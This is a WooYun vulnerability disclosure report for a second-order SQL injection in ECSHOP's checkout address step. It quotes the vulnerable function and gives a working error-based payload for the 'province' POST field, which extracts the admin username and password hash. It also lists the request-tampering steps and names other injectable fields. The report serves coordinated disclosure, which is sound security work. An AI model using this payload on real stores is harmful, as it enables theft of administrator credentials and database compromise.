当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-016651

漏洞标题:ECSHOP全版本注入漏洞(二次注入)

相关厂商:ShopEx

漏洞作者: y35u

提交时间:2012-12-28 22:42

修复时间:2013-02-11 22:42

公开时间:2013-02-11 22:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-28: 细节已通知厂商并且等待厂商处理中
2012-12-29: 厂商已经确认,细节仅向厂商公开
2013-01-08: 细节向核心白帽子及相关领域专家公开
2013-01-18: 细节向普通白帽子公开
2013-01-28: 细节向实习白帽子公开
2013-02-11: 细节向公众公开

简要描述:

ECSHOP全版本注入漏洞(二次注入)

详细说明:

function get_consignee($user_id)
{
if (isset($_SESSION['flow_consignee']))
{
/* 如果存在session,则直接返回session中的收货人信息 */
return $_SESSION['flow_consignee']; //从$_SESSION取得province等数据
}
else
{
/* 如果不存在,则取得用户的默认收货人信息 */
$arr = array();
if ($user_id > 0)
{
/* 取默认地址 */
$sql = "SELECT ua.*".
" FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
" WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
$arr = $GLOBALS['db']->getRow($sql);
}
return $arr;
}
}


把任意商品加入购物车在填写配送地址那一页,有地区选择
flow.php?step=consignee&direct_shopping=1
比如省选择安徽
其中POST数据如下
country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
province=3
改成

province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #


漏洞证明:

详细的方法,用火狐tamper data插件........即可改post内容.....
先注册账户,随便选个商品进购物车,然后填地址,电话什么的,填好开始抓包,改包
就会回显错误页面了。。。。
我自己没用这个日站过,就测试了一个最新版和老版本
外带一句,这里不仅是province,city,country,'district均可注入

修复方案:

一个姗姗来迟的漏洞,见谅

版权声明:转载请注明来源 y35u@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-12-29 23:01

厂商回复:

感谢您为shopex安全做的贡献
我们会尽快处理
非常感谢

最新状态:

暂无